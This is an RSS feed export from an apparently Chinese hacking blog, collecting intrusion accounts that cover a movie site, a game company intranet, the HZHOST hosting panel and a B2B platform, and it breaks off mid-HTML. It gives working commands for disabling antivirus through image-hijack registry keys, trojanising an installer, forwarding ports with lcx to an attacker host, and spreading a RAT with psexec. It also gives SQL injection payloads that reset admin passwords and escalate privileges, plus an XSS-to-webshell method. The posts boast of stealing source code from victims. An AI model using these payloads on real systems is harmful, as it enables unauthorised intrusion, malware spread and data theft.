<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>MK2-风 之谷 - 入侵实例</title><link>http://www.mk2leo.com/</link><description>大家来学习编程吧 - </description><generator>RainbowSoft Studio Z-Blog 1.8 Arwen Build 90619</generator><language>zh-CN</language><copyright>MK2-风版权所有.</copyright><pubDate>Sat, 04 Sep 2010 21:24:35 +0800</pubDate><item><title>入侵电影网+杀掉防毒</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/137.html</link><pubDate>Fri, 17 Apr 2009 03:25:47 +0800</pubDate><guid>http://www.mk2leo.com/post/137.html</guid><description><![CDATA[<p>&nbsp; 常常在一个站看电影~~</p><p>&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp; 就想看一下安全怎么样~~</p><p>&nbsp;</p><p><img style="width: 500px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/6a/08/f4/4d3d772a73a88c485f819f67b0c5c28c.jpg" onload="imgresize(this);" /></p><p>&nbsp;</p><p>&nbsp; 搜索了一下站的程序版本是 影视剧场 的</p><p>&nbsp;</p><p>&nbsp;记得这好象这程序有漏洞~~</p><p>&nbsp;</p><p>&nbsp; 后来进BAIDU搜索了一下这版本的漏洞 找到了漏洞进入了后<font color="#000000">台</font></p><p>&nbsp;</p><p><img style="width: 500px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/de/8b/d8/963c17a065e1479b30f47ded042829df.jpg" onload="imgresize(this);" /></p><p>&nbsp;</p><p><u><font color="#000000">&nbsp;&nbsp;&nbsp; &nbsp;成功欺骗上传~</font></u></p><p>&nbsp;</p><p><u>拿到了WEBSHELL</u></p><p>&nbsp;</p><p><font face="Verdana"><img style="width: 500px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/22/e8/23/a6011d21b010dfa23dcafedd12030ab9.jpg" onload="imgresize(this);" /></font></p><p>&nbsp;</p><p><u>&nbsp;&nbsp; 服务器什么软件都没装&nbsp;&nbsp; 就开了80&nbsp;&nbsp;&nbsp;&nbsp; wscript.shell组件虽然没删&nbsp; 但是利用不了~</u></p><p>&nbsp;</p><p><u>3389是我后来自己帮他开的&nbsp;&nbsp; 本来他也没开的~</u></p><p><u>&nbsp;<img style="cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/68/23/5a/642d38d7cdc90faea7c89739576af01c.jpg" onload="imgresize(this);" /></u></p><p>&nbsp;</p><p><u>&nbsp;提权&nbsp;&nbsp; 在他<font face="Verdana">C:\RECYCLER\</font>&nbsp; 上传了CMD&nbsp;&nbsp;&nbsp; 我们有时候上传CMD的时候太大了上传不了</u></p><p>&nbsp;</p><p><u>&nbsp; 大家就用压缩工具压一下&nbsp;&nbsp; 只有 几十K了&nbsp; </u></p><p>&nbsp;</p><p>&nbsp;</p><p><u>&nbsp;OK 没问题了 可以执行命令&nbsp;&nbsp;&nbsp; 但是权限太小了 什么都干不了&nbsp; </u></p><p>&nbsp;</p><p><font face="Verdana"><img style="width: 500px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/8a/8e/f6/f5b0776c5155b68a5378b17764239fb3.jpg" onload="imgresize(this);" /></font></p><p><img style="cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/c2/01/3f/c04e7ce3b4fa64d2becc7affb8decc84.jpg" onload="imgresize(this);" /></p><p>&nbsp;</p><p><u>没办法&nbsp;&nbsp;&nbsp; 思考了一下~~</u></p><p>&nbsp;</p><p><u>&nbsp; 又继续看他其他盘啊~~ 没发现什么 都是电影~ </u></p><p>&nbsp;</p><p><u>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 查了一下质料~~&nbsp; NET USER 看了一下&nbsp; 有一个ASP。NET用户~</u></p><p>&nbsp;</p><p><u>&nbsp;&nbsp; 前一段不是有一个 ASP。NET&nbsp; 提权工具吗~</u></p><p>&nbsp;</p><p><u>&nbsp;就试一试把&nbsp;&nbsp;&nbsp; 上穿上去&nbsp;&nbsp; 执行命令 OK&nbsp; 是ADMIN权限</u></p><p>&nbsp;</p><p><u>&nbsp;哈哈~~爽。。。&nbsp; 因为他本来没开3389吗。。</u></p><p>&nbsp;</p><p><u>&nbsp;所以加用户也是假的~~ 开3389要重起 又怕他发现</u></p><p>&nbsp;</p><p><u>就上传了一个木马~~吗的&nbsp; 发现被杀了&nbsp; </u></p><p>&nbsp;</p><p><u>看了一下进程&nbsp;&nbsp; 有NOD32&nbsp;&nbsp; 我操~~</u></p><p>&nbsp;</p><p><u>怎么干他呢。。~~试了很多办法 没用&nbsp;&nbsp; 把进程结束了又恢复了。。</u></p><p>&nbsp;</p><p><u>&nbsp;有自动恢复进程功能~~&nbsp; </u></p><p>&nbsp;</p><p><u>&nbsp;就在网上找质料啊。。。 找了大概半个小时</u></p><p>&nbsp;</p><p><u>&nbsp;找到了一个&nbsp; </u></p><p>&nbsp;</p><p><font face="Verdana">reg add &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\**.exe&quot; /v &quot;Debugger&quot; /d &quot;ntsd -d&quot; /t REG_SZ /f </font></p><p><font face="Verdana"><p><br />这里的 **.exe 你自己替换一下程序名字 在去打开就不能运行了</p><p>&nbsp;</p><p>ntsd -c q -p PID&nbsp; Tasklist<br />&nbsp;</p><p>&nbsp;</p><p>应该知道把&nbsp; 镜象劫持技术~~</p><p>&nbsp;</p><p>&nbsp;&nbsp;&nbsp; 把杀毒的 干了&nbsp; 用提权的运行了 木马 OK成功上线</p><p>&nbsp;</p><p>&nbsp;开了他3389&nbsp;&nbsp;</p><p>&nbsp;</p><p><img style="width: 500px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/a4/81/57/5089ea84837c695da0c5f046af3a7fbb.jpg" onload="imgresize(this);" /></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><img style="width: 500px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="图片点击可在新窗口打开查看" src="http://i3.6.cn/cvbnm/11/7b/99/2b3f10c2ca10dbf2e7ea375317b1f357.jpg" onload="imgresize(this);" /></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;本次入侵没技术含量~请大家不要丢鸡蛋~<img title="dvubb" alt="图片点击可在新窗口打开查看" src="http://www.nzhack.net/images/emot/em56.gif" onload="imgresize(this);" align="middle" border="0" /></p><p>&nbsp;</p><p>还有就是&nbsp; 在入侵的时候大家不要灰心。。不要怕麻烦。。尽管多试。。</p><p>&nbsp;</p><p>不能入侵一半就退了。。今天不行还有明天，明天不行还有后天，，怕什么。机会多的事。。还怕他吃你，，只怕你吃他把~~哈哈 ~~现在搞不了他</p><p>&nbsp;</p><p>总有一天要干了他~~在入侵一半的到一个WEBSHELL就不干了。。那你以后永远只能这样。。</p><p>&nbsp;</p><p>不想当将军的兵的永远是一个兵。。&nbsp; 做人做事都是一样。。&nbsp;&nbsp;&nbsp; 也希望一些朋友看了后能得到经验。。学到东西。。</p><p>&nbsp;</p><p>谢谢各位观看。。</p><p>&nbsp;</p><p>&nbsp;OK 就到这了。。</p><p>&nbsp;</p><p>&nbsp;牛族的兄弟&nbsp; 马上要过年了。。 希望大家开心，快乐~~</p></font></p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/137.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=137</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=137&amp;key=e25f58c7</trackback:ping></item><item><title>记一次渗透某游戏公司内网全过程</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/125.html</link><pubDate>Wed, 01 Apr 2009 02:15:40 +0800</pubDate><guid>http://www.mk2leo.com/post/125.html</guid><description><![CDATA[<p>文章属性：原创<br />提交日期：2007-10-6<br />文章提交：教主<br />关键字：渗透 内网 源码<br />前言:<br />这篇文章所讲到的渗透思路以及方法适合各位新手和老鸟参考。通过入侵WEB服务器然后进行渗透到游戏公司内部并获取游戏源代码全过程。这次是一次非常顺利的渗透过程，仅限学习参考。<br /><br />-----------------------------------------------------第一天-------------------------------------------------------------------<br />花了3天时间终于拿下了<a href="http://www.xxx.com.tw/" target="_blank">www.xxx.com.tw</a> 的网站服务器.是一款不错的游戏产品。在服务器上找了<br />大半天找不出一点有用的信息.正准备放弃的时候看到 Ftp文件夹下有一个 员工专用登录器.exe 的程序.<br />HOHO~觉得有戏。。觉得管理员一定会用这个东西来干嘛..马上把这个东西down到自己的电脑，打开一看原来是游戏管理工具。想了一下这对我也没有什么用啊，唉。不如把马捆到这个上然后替换服务器上的原程序看看管理员会不会下载执行吧。<br />到网上搜了一个EXE图标提取器，把员工专用登录器.exe的程序图标提取出来。然后用黑洞1.96配了个服务端，花了点时间做了免杀。OK。用Winrar的自释放模式把员工专用登录器.exe和黑洞服务端捆绑在了一起。并传到服务器上覆盖了原来的程序。<br />;下面的注释自解压脚本命令<br />Path=%SystemRoot%\<br />SavePath<br />Setup=install.exe<br />Setup=Server.exe<br />Silent=1<br />Overwrite=2<br />-----------------------------------------------------第二天-------------------------------------------------------------------<br />中午起床后打开黑洞,HOHO果然不出各位的所料。。上线一台 台湾地区的主机。网络类型：内网，WindowsXp 系统。打开屏幕监视..果然就是客服部电脑。正在处理玩家的盗号申诉呢。<br />我立刻找到在我电脑沉睡已久的Tools3389.exe 传到对方机器。<br />打开Telnet<br />c:\tmp\tools3389.exe<br />运行参数:<br />无参数 帮助信息[本页]<br />-O 打开超级终端<br />-X [端口] 修改终端端口<br />-K 查看终端服务状态<br />-C 克隆GUEST账号<br />-S 查看系统版本<br />-T XP支持双用户登录<br />-R 重新启动计算机<br />-H 帮助信息[本页]<br />目前终端端口为:3389<br />c:\tmp\tools3389.exe &ndash;O 3389<br />接着c:\tmp\tools3389.exe &ndash;T<br />----------------------------------------------------------------------------------------------------<br />接下来大家都知道我要做什么了，就是转发3389端口出来渗透内网。找到lcx.exe<br />cmd: c:\tmp\lcx.exe &ndash;slave xxx.xxx.xxx.xxx 51 127.0.0.1 3389<br />呵呵,一切是那么的顺利。。熟悉的xp登陆画面就出来了。<br />克隆了guest帐号登陆。穿了个NT弱口令扫描器到肉鸡里。<br />net view 看了一下结果发现有4个网段。<br />用弱口令扫描器扫了全部的网段,结果如下：<br />1433 Sa 弱口令 17 台<br />NT-SERVER 弱口令 53 台<br />内网的安全做的就是差劲。。。。。。<br />----------------------------------------------------------------------------------------------------<br />拉了个psexec.exe 然后把我的黑洞服务段也传到肉鸡的c:\tmp目录下。。<br />经过1个多小时的重复操作:<br />cmd c:\tmp\psexec.exe \\192.168.5.X &ndash;u administrator &ndash;p 123456 &ndash;c Server.exe &ndash;d<br />成功上线的肉鸡有42台。<br />发现192.168.254.X 这个段的机器中了黑洞也不上线，很是纳闷。。于是判断下这个段到底能不能连接外网。<br />psexec \\192.168.254.20 &ndash;u administrator &ndash;p 123456 cmd<br />ping <a href="http://www.google.com/" target="_blank">www.google.com</a> 结果不出所料。。果然不能连接外网。<br />这个段到底有什么重要的资料？还不能连接外网呢？在肉鸡上打开3389登录器<br />连接 192.168.254.20 哇塞。发现一个域 SrcServer 肯定是开发部的域了。还好没有限制内网终端连接。<br />花了2个多小时翻遍了254这个段的机器。终于发现了游戏的源代码。整整7个G啊。<br />立刻打包: 7z.exe &ndash;a tzip gamesrc.zip &ldquo;c:\src&rdquo; 打包时间真的的太久了。剩余3个多小时。。。<br />闲逛一下客服部的网段，发现一个网上邻居的共享文件夹 [FileServer] 看到了一个 内网通 的聊天软件安装端。。如法炮制捆绑上黑洞。。<br />接着就把游戏源代码拖到了电脑。。。<br />----------------------------------------------------</p><div class="t_msgfont">psexec的使用<br />psexec是一个远程执行工具，你可以像使用telnet一样使用它。<br />它的使用格式为：<br />psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]<br />它的参数有：<br />-u后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）<br />-c &lt;[路径]文件名&gt;:拷贝文件到远程机器并运行（注意：运行结束后文件会自动删除）<br />-d 不等待程序执行完就返回，（比如要让远程机器运行tftp服务端的时候使用，不然psexec命令会一直等待tftp程序结束才会返回）<br />-i 在远程机器上运行一个名为psexesvc进程，(到底什么用弄不明白）<br />假设我在远程机器ip有一个账号，账号名是：abc 密码是：123<br />比如想要用telnet一样在远程系统上执行命令可以打：<br />psexec \\远程机器ip -u abc -p 123 cmd<br />如果想要远程机器执行本地c:\srm.exe文件可以打：<br />psexec \\远程机器ip -u abc -p 123 -c c:\srm.exe<br />如果想要让远程机器执行本地上tftp服务端，(假设tftp服务端在本地c:\tftp32.exe)，可以打：<br />psexec \\远程机器ip -u abc -p 123 -c c:\tftp32.exe -d</div>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/125.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=125</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=125&amp;key=c895e898</trackback:ping></item><item><title>HZHOST域名虚拟主机管理系统sql注射漏洞+进一步利用</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/91.html</link><pubDate>Fri, 09 Jan 2009 20:39:29 +0800</pubDate><guid>http://www.mk2leo.com/post/91.html</guid><description><![CDATA[<p>作者：<a href="http://www.t00ls.net/thread-690-1-1.html" target="_blank"><font color="#0b59b2">叉叉兵</font></a></p><p>这是一个域名主机实时管理系统。在百度搜索： title: (域名主机实时管理系统) ，会找到大量采用这种系统的网站！太术语了。就是在线开通ftp.sql.web的一个管理系统。一套web程序。和IIS管理程序。实现在线开通的玩 意。所以：我们可以免费申请域名和空间！！哈哈！！！</p><p>web程序方面写的非常严谨。大量的过滤。由于是商业版的程序，所以我没有源码。本来是有的，但是放在家里的电脑上。放暑假时搞的shell现在都被删了。。。我现在又比较懒，就没去弄源代码。反正大家知道怎么弄的就行了。<br />&nbsp;</p><p>这又是一个文本框的注射。我真不知道作者是怎么想的。其他地方都被过滤了。就留下域名管理这里没过滤。</p><p><a href="http://huaidan.org/wp-content/uploads/2008/12/1.jpg"><img class="alignnone size-full wp-image-2673" title="1" height="456" alt="1" src="http://huaidan.org/wp-content/uploads/2008/12/1.jpg" width="683" /></a><br /><a href="http://huaidan.org/wp-content/uploads/2008/12/2.jpg"><img class="alignnone size-full wp-image-2674" title="2" height="375" alt="2" src="http://huaidan.org/wp-content/uploads/2008/12/2.jpg" width="644" /></a><br /><a href="http://huaidan.org/wp-content/uploads/2008/12/3.jpg"><img class="alignnone size-full wp-image-2675" title="3" height="222" alt="3" src="http://huaidan.org/wp-content/uploads/2008/12/3.jpg" width="728" /></a><br />官方放暑假的时候就被我搞了一遍，过了一个月他发现了。删了我的shell。不知道他怎么知道我从那里下的手搞的他。他居然补了漏洞。先上图，再说下利用方法。</p><pre><code>123' UPDATE [memlst] SET u_pss='e10adc3949ba59abbe56e057f20f883e' WHERE u_nme='admin'--</code></pre><p>这一句是把用户admin的密码修改为123456。管理员的后台地址一般是http://www.xx.com/master<br />或者直接在首页登陆了按切换到管理员后台。<br /><a href="http://huaidan.org/wp-content/uploads/2008/12/4.jpg"><img class="alignnone size-full wp-image-2676" title="4" height="133" alt="4" src="http://huaidan.org/wp-content/uploads/2008/12/4.jpg" width="578" /></a><br />如果admin不是超级管理员，那就有三个办法。</p><p>一是自己构造语句爆出来。<br />二是提升自己注册的用户的权限。<br />三是直接爆网站路径，再来个差异备份。</p><p>第一个方法我给出一条示范语句：</p><pre><code>123' and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )&gt;0-- and '1'='1</code></pre><p>可以同时爆出一个用户的帐号和密码。想爆出其他用户的语句自己构造吧。</p><p>第二个方法是：</p><pre><code>123' UPDATE [memlst] SET u_sys=6 WHERE u_nme='你注册的用户名'--123' UPDATE [memlst] SET u_pwr=2 WHERE u_nme='你注册的用户名'--</code></pre><p>这2句话就能够提升自己为超级管理员</p><p>第三个方法很麻烦。但是很有效果。直捣黄龙。。很强大。我给出如下语句，大家自己研究去吧！</p><pre><code>爆路径语句第一步：建立表123' ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and '1'='1第二步：123' ;declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1-- and '1'='1注意：0x63003a005c00 = C:\&nbsp; 为sql ENCODE其他的自己找工具去转吧！第三步：暴出总数 123' and (select cast(count(*) as varchar(8000))+char(94) from foofoofoo)&gt;0-- and '1'='1第四步：暴出你想要的文件夹名字和文件名字 123' and 0&lt;(select top 1 cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) from (select distinct top&nbsp; <span style="color: #ff0000">1</span> * from foofoofoo order by isfile,name) t order by isfile desc,name desc)-- and '1'='1修改中间红色的1，依次爆出。</code></pre><p>至于差异备份语句。让nbsi3告诉你吧。</p><p><strong>对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！</strong></p><p>我记得还有2篇关于hzhost的漏洞利用文章。名字不记得了。大家去搜索&ldquo;hzhost漏洞&rdquo;找找吧！里面提到下面两点内容！</p><p>1。是提到c:\windows\temp下有hzhost主机留下的ftp登陆记录。有用户名和密码<br />2。是利用hzhost拿系统主机最高权限的。</p><p>安装了hzhost的主机,其mssql sa密码,mysql root密码还有serv-u的administrator密码全部保存在注册表中。位置在</p><p>HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass<br />HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass</p><p>经过了hzhost自己的加密方式，象</p><p>eLVClO4tzsKBf#dee52443a3872cc159</p><p>这样的字符串。不过在hzhost后台可以还原！拿到了sa密码，或者root密码，最高权限就在眼前！禁止了w.s的话。大家就传aspx木马导撒！</p><p>我们传了一个asp木马上去后。在incs\constr.asp下面可以看到数据库连接串。然后连接到数据库。通过执行</p><p>SELECT * FROM [hstlst]</p><p>语句。可以看到很多主机记录。如图<br /><a href="http://huaidan.org/wp-content/uploads/2008/12/5.jpg"><img class="alignnone size-full wp-image-2677" title="5" height="277" alt="5" src="http://huaidan.org/wp-content/uploads/2008/12/5.jpg" width="820" /></a><br />发现什么没有？h_ftppass的密码和hzhost主机自己的加密串很相似。没错，主机管理的密码也是经过他自己的加密方式加了密！而我们在主机管理的地方！<br /><a href="http://huaidan.org/wp-content/uploads/2008/12/6.jpg"><img class="alignnone size-full wp-image-2678" title="6" height="290" alt="6" src="http://huaidan.org/wp-content/uploads/2008/12/6.jpg" width="711" /></a><br />看到明文密码。说明他又给还原回来了。明白了么？我们先通过aspx木马导出mysql，mssql的root,sa密码加密串后。<br /><a href="http://huaidan.org/wp-content/uploads/2008/12/7.jpg"><img class="alignnone size-full wp-image-2679" title="7" height="211" alt="7" src="http://huaidan.org/wp-content/uploads/2008/12/7.jpg" width="825" /></a><br />我们通过这条语句，修改别人的主机密码。</p><pre><code>UPDATE [hstlst] SET h_ftppss='aPWw3j4zMaK83lHMBof9fc298b1d3d0a' WHERE h_ID=10000471</code></pre><p>然后回过头去看主机密码。（这时候被转成了明文）<br /><a href="http://huaidan.org/wp-content/uploads/2008/12/8.jpg"><img class="alignnone size-full wp-image-2680" title="8" height="185" alt="8" src="http://huaidan.org/wp-content/uploads/2008/12/8.jpg" width="536" /></a><br />就拿到了root密码为：sphil_070921注意：由于有多种限制。我截的图可能不是很完美。但是此方法绝对可行。这方法是看到别人写的[利用hzhost取得最高权限]得到的启发。谢谢他。</p><p>我们也可以同样拿到sa密码，用sa帐号密码远程连接，直接恢复xp_cmdshell就可以执行系统命令了！</p><p>好了。就此结束！期待牛人写出还原密码程序！！这样就不用麻烦了！</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/91.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=91</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=91&amp;key=0850bd95</trackback:ping></item><item><title>跨出WEBSHELL</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/45.html</link><pubDate>Wed, 12 Nov 2008 12:09:44 +0800</pubDate><guid>http://www.mk2leo.com/post/45.html</guid><description><![CDATA[<p>申明：本文已发表<a class="channel_keylink" href="http://hack.77169.com/Index.html" target="_blank">黑客</a>手册,转载请注名版权,此文版权归樱花浪子和<a class="channel_keylink" href="http://hack.77169.com/Index.html" target="_blank">黑客</a>手册所有!转载请注明!</p><p>　　时间过的真快，记得在07年1月份我写过一篇关于跨站添加管理员的文章，上期又给大家带来一期跨站的文章，小天对我那句话比较赞同，跨站的威力是不比<a class="channel_keylink" href="http://exploits.77169.com/Index.html" target="_blank">注入</a>小的，<a class="channel_keylink" href="http://exploits.77169.com/Index.html" target="_blank">注入</a>如果遇见SQL数据库还好说，ACC的也就能老老实实猜密码，进后台，在利用后台某个功能得WEBSHELL&hellip;&hellip;说了几句题外话，下面我们一起来跨出WEBSHELL，OK，LET'S GO。</p><p>　　这里以网域高科行业B2B商务平台来测试一下，这套程序是修改阿里巴巴的程序，防<a class="channel_keylink" href="http://exploits.77169.com/Index.html" target="_blank">注入</a>做的比较好，但是在leaveword_save.asp文件里有一些变量没有过虑，下面是7到43行代码：</p><p><table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; width: 466px; border-bottom: #cccccc 1px dotted; height: 687px" cellspacing="0" cellpadding="6" width="466" align="center" border="0">    <tbody>        <tr>            <td style="word-wrap: break-word" bgcolor="#fdfddf"><font face="宋体">book_user=request.form(&quot;book_user&quot;)<br />            book_contact=request.form(&quot;book_contact&quot;)<br />            book_content=request.form(&quot;book_content&quot;)<br />            if sortid=&quot;&quot; or tableid=&quot;&quot; or ypid=&quot;&quot; then<br />            response.write &quot;&lt;script&gt;alert('未知错误');window.close();&lt;/Script&gt;&quot;<br />            response.End()<br />            end if<br />            if book_user=&quot;&quot; or len(book_user)&lt;2 or len(book_user)&gt;16 then<br />            response.write &quot;&lt;script&gt;alert('反馈出错，下面是产生错误的可能原因：\n\n&middot;请输入 2-16 位字符的用户名！');window.close();&lt;/Script&gt;&quot;<br />            response.End()<br />            end if<br />            if book_contact=&quot;&quot; or len(book_contact)&lt;5 or len(book_contact)&gt;40 then<br />            response.write &quot;&lt;script&gt;alert('反馈出错，下面是产生错误的可能原因：\n\n&middot;请输入 5-40 位字符的联系方式！');window.close();&lt;/Script&gt;&quot;<br />            response.End()<br />            end if<br />            if book_content=&quot;&quot; or len(book_content)&lt;5 or len(book_content)&gt;100 then<br />            response.write &quot;&lt;script&gt;alert('反馈出错，下面是产生错误的可能原因：\n\n&middot;请输入 10-100 位字符的反馈内容！');window.close();&lt;/Script&gt;&quot;<br />            response.End()<br />            end if<br />            <br />            set rs=Server.CreateObject(&quot;Adodb.Recordset&quot;)<br />            sql=&quot;select * from SMT_leaveword&quot;<br />            rs.open sql,conn,1,3<br />            rs.addnew<br />            rs(&quot;SMT_book_user&quot;)=book_user<br />            rs(&quot;SMT_book_contact&quot;)=book_contact<br />            rs(&quot;SMT_book_content&quot;)=book_content '就用它吧，100个字符满够用了<br />            rs(&quot;SMT_book_sort&quot;)=sortid<br />            rs(&quot;SMT_book_table&quot;)=tableid<br />            rs(&quot;SMT_book_ypid&quot;)=ypid<br />            rs.update<br />            rs.close<br />            set rs=nothing<br />            <br />            response.write &quot;&lt;script&gt;alert('反馈成功，谢谢您的参与！');window.close();&lt;/Script&gt;&quot;<br />            response.End()<br />            %&gt;</font></td>        </tr>    </tbody></table></p><p>　　可以看出就是做了一些判断是否为空，和字数上的限制，不过book_content限制提交字数是100个，这对于我们来说已经足够了。</p><p>　　首先我们注册个用户，在意见反馈里填入跨站语句，如图1所示，这样直接在后台就会执行，如图2所示。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 　　 <img style="width: 371px; height: 318px" alt="" src="http://hack.77169.com/UploadFiles_8057/200807/20080709135819737.jpg" /></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img height="377" alt="" src="http://hack.77169.com/UploadFiles_8057/200807/20080709135835385.jpg" width="390" /></p><p>　　这样当然我们就可以做很多事情了，比如说像添加个管理员，不过以前已经写过所以就不在重复了，这个后台有数据库备份功能，我们要做的是利用管理员身份替我们备份出一个WEBSHELL来，先看看他的数据库备份代码是怎么写地，在admin\System\admin_backdb.asp文件中的108到129代码如下：</p><p><table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; width: 398px; border-bottom: #cccccc 1px dotted; height: 417px" cellspacing="0" cellpadding="6" width="398" align="center" border="0">    <tbody>        <tr>            <td style="word-wrap: break-word" bgcolor="#fdfddf">&lt;form name=&quot;form1&quot; method=&quot;POST&quot; action=&quot;admin_backdb.asp?action=back&quot;&gt;<br />            &lt;table width=&quot;100%&quot; border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; bordercolorlight=&quot;#cccccc&quot; bordercolordark=&quot;#FFFFFF&quot;&gt;<br />            &lt;tr&gt;<br />            &lt;td bgcolor=&quot;#efefef&quot; height=25&gt;&lt;strong&gt;备份数据库&lt;/strong&gt;&lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;tr&gt;<br />            &lt;td height=25&gt;你的<a class="channel_keylink" href="http://idc.77169.com/" target="_blank">空间</a>只有支持fso才可以进行如下操作，否则你只能手动备份&lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;tr&gt;<br />            &lt;td height=25&gt;数据库路径： <br />            &lt;input type=&quot;text&quot; name=&quot;currf&quot; size=&quot;30&quot; value=&quot;&lt;%=db%&gt;&quot;&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp; 备份数据目录：&amp;nbsp; <br />            &lt;input type=&quot;text&quot; name=&quot;backf&quot; size=&quot;20&quot; value=&quot;mdbback&quot;&gt;&lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;tr&gt;<br />            &lt;td height=25&gt;数据库名称： <br />            &lt;input type=&quot;text&quot; name=&quot;backfy&quot; size=&quot;20&quot; value=&quot;back.asp&quot;&gt;&amp;nbsp; <br />            &lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;备份&quot; &gt;<br />            &lt;input type=&quot;reset&quot; name=&quot;Submit2&quot; value=&quot;重置&quot; &gt;<br />            &lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;/table&gt;<br />            &lt;/form&gt;</td>        </tr>    </tbody></table></p><p>我们可以先上传一个RAR的马儿，然后在数据库路径里填上，马的地址为：&quot;/oledit/UploadFile/200712/2007121544821758.rar&quot;，这里需要注意的是路径一定要填对，否则备份就会不成功的。改动好的代码如下：</p><p><table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; width: 406px; border-bottom: #cccccc 1px dotted; height: 630px" cellspacing="0" cellpadding="6" width="406" align="center" border="0">    <tbody>        <tr>            <td style="word-wrap: break-word" bgcolor="#fdfddf">&lt;html&gt;<br />            &lt;form name=&quot;form&quot; method=&quot;POST&quot; action=&quot;../../../admin/System/admin_backdb.asp?action=back&quot;&gt;<br />            &lt;table width=&quot;100%&quot; border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; bordercolorlight=&quot;#cccccc&quot; bordercolordark=&quot;#FFFFFF&quot;&gt;<br />            &lt;tr&gt;<br />            &lt;td bgcolor=&quot;#efefef&quot; height=25&gt;&lt;strong&gt;备份数据库&lt;/strong&gt;&lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;tr&gt;<br />            &lt;td height=25&gt;你的<a class="channel_keylink" href="http://idc.77169.com/" target="_blank">空间</a>只有支持fso才可以进行如下操作，否则你只能手动备份&lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;tr&gt;<br />            &lt;td 